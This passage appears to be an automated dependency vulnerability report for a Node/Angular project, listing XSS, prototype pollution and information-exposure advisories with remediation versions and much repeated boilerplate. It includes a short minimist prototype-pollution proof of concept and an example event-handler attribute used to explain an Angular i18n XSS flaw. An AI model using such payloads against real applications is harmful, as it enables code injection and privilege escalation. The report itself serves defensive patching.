Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @angular/core to version 19.2.23, 20.3.22, 21.2.15, 22.0.0-rc.2 or higher.
References
medium severity
- Vulnerable module: phin
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › jimp@0.9.8 › @jimp/custom@0.9.8 › @jimp/core@0.9.8 › phin@2.9.3
Overview
phin is a The ultra-lightweight Node.js HTTP client
Affected versions of this package are vulnerable to Exposure of Sensitive Information to an Unauthorized Actor due to the handling of HTTP headers during redirects when followRedirects is enabled. An attacker can potentially intercept sensitive information by exploiting how headers are included in outgoing requests after a redirect.
Remediation
Upgrade phin to version 3.7.1 or higher.
References
medium severity
- Module: pdf2json
- Introduced through: pdf2table@0.0.1
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › pdf2table@0.0.1 › pdf2json@0.7.1
LGPL-3.0 license
low severity
- Vulnerable module: @angular/core
- Introduced through: @angular/core@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/core@4.4.7Remediation: Upgrade to @angular/core@11.0.5.
Overview
@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in development, with SSR enabled.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @angular/core to version 11.0.5, 11.1.0-next.3 or higher.
References
low severity
- Vulnerable module: minimist
- Introduced through: gulp-favicons@2.4.0 and pdf2table@0.0.1
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jimp@0.2.28 › mkdirp@0.5.1 › minimist@0.0.8
-
Introduced through: novaXfer@mattbdean/novaxfer › pdf2table@0.0.1 › pdf2json@0.7.1 › optimist@0.6.1 › minimist@0.0.10
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype.
Notes:
This vulnerability is a bypass to CVE-2020-7598
The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.
PoC by Snyk
require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist to version 0.2.4, 1.2.6 or higher.
References
low severity
- Vulnerable module: @angular/common
- Introduced through: @angular/common@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/common@4.4.7Remediation: Upgrade to @angular/common@19.2.23.
Overview
Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information via the HttpTransferCache utility. An attacker can access sensitive user-specific information by making requests to pages that have been cached by a shared caching layer after another user has authenticated and triggered credentialed requests during server-side rendering.
Note: This is only exploitable if server-side rendering and hydration are enabled, credentialed HTTP requests are performed during SSR, and the SSR-rendered HTML is cached by a shared caching layer without proper cache-control headers to distinguish authenticated users.
Remediation
Upgrade @angular/common to version 19.2.23, 20.3.22, 21.2.15, 22.0.0-rc.2 or higher.
References
low severity
new
- Vulnerable module: @angular/compiler
- Introduced through: @angular/compiler@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/compiler@4.4.7Remediation: Upgrade to @angular/compiler@20.3.27.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the compiler's i18n metadata collection path, which lets event-handler attributes be marked translatable with i18n-on* (such as i18n-onerror), bypassing the validation that normally blocks binding to event-handler attributes like onclick and onerror. An attacker can execute arbitrary JavaScript in the application's origin by supplying translation content for such an attribute, for example replacing the handler in <img src="foo.jpg" onerror="void 0" i18n-onerror />. This requires a static event-handler attribute to be marked for translation with i18n-on* in a template and the application to localize using translation files from a source the attacker can influence.
Workaround
This vulnerability can be avoided by never marking static event-handler attributes for internationalization with i18n-on* and by sourcing translation files only from trusted origins.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @angular/compiler to version 20.3.27, 21.2.19, 22.0.1 or higher.
References
low severity
- Vulnerable module: @angular/compiler
- Introduced through: @angular/compiler@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/compiler@4.4.7Remediation: Upgrade to @angular/compiler@19.2.18.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the handling of SVG <script> element attributes href and xlink:href when user-controlled data is bound to these attributes. An attacker can execute arbitrary JavaScript code in the victim's browser by supplying a crafted payload through untrusted data sources that are bound to these attributes.
##Workaround
This vulnerability can be mitigated by avoiding dynamic template bindings for SVG <script> elements and strictly validating input against a trusted allowlist before it reaches the template.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @angular/compiler to version 19.2.18, 20.3.16, 21.0.7, 21.1.0-rc.0 or higher.
References
low severity
- Vulnerable module: @angular/compiler
- Introduced through: @angular/compiler@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/compiler@4.4.7Remediation: Upgrade to @angular/compiler@19.2.20.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the handling of internationalized attribute bindings. An attacker can execute arbitrary scripts in the context of the application by injecting malicious input into attributes such as href, src, or similar, when these are marked for internationalization and bound to unsanitized user data.
Note: This is only exploitable if unsanitized user input is bound to a security-sensitive attribute that is also marked with an i18n-<attribute> directive on the same element.
Workaround
This vulnerability can be mitigated by explicitly sanitizing the input using Angular's DomSanitizer.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @angular/compiler to version 19.2.20, 20.3.18, 21.2.4, 22.0.0-next.3 or higher.
References
low severity
- Vulnerable module: @angular/core
- Introduced through: @angular/core@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/core@4.4.7Remediation: Upgrade to @angular/core@19.2.18.
Overview
@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the handling of SVG <script> element attributes href and xlink:href when user-controlled data is bound to these attributes. An attacker can execute arbitrary JavaScript code in the victim's browser by supplying a crafted payload through untrusted data sources that are bound to these attributes.
##Workaround
This vulnerability can be mitigated by avoiding dynamic template bindings for SVG <script> elements and strictly validating input against a trusted allowlist before it reaches the template.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @angular/core to version 19.2.18, 20.3.16, 21.0.7, 21.1.0-rc.0 or higher.
References
low severity
- Vulnerable module: @angular/core
- Introduced through: @angular/core@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/core@4.4.7Remediation: Upgrade to @angular/core@19.2.20.
Overview
@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the handling of internationalized attribute bindings. An attacker can execute arbitrary scripts in the context of the application by injecting malicious input into attributes such as href, src, or similar, when these are marked for internationalization and bound to unsanitized user data.
Note: This is only exploitable if unsanitized user input is bound to a security-sensitive attribute that is also marked with an i18n-<attribute> directive on the same element.
Workaround
This vulnerability can be mitigated by explicitly sanitizing the input using Angular's DomSanitizer.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @angular/core to version 19.2.20, 20.3.18, 21.2.3, 22.0.0-next.2 or higher.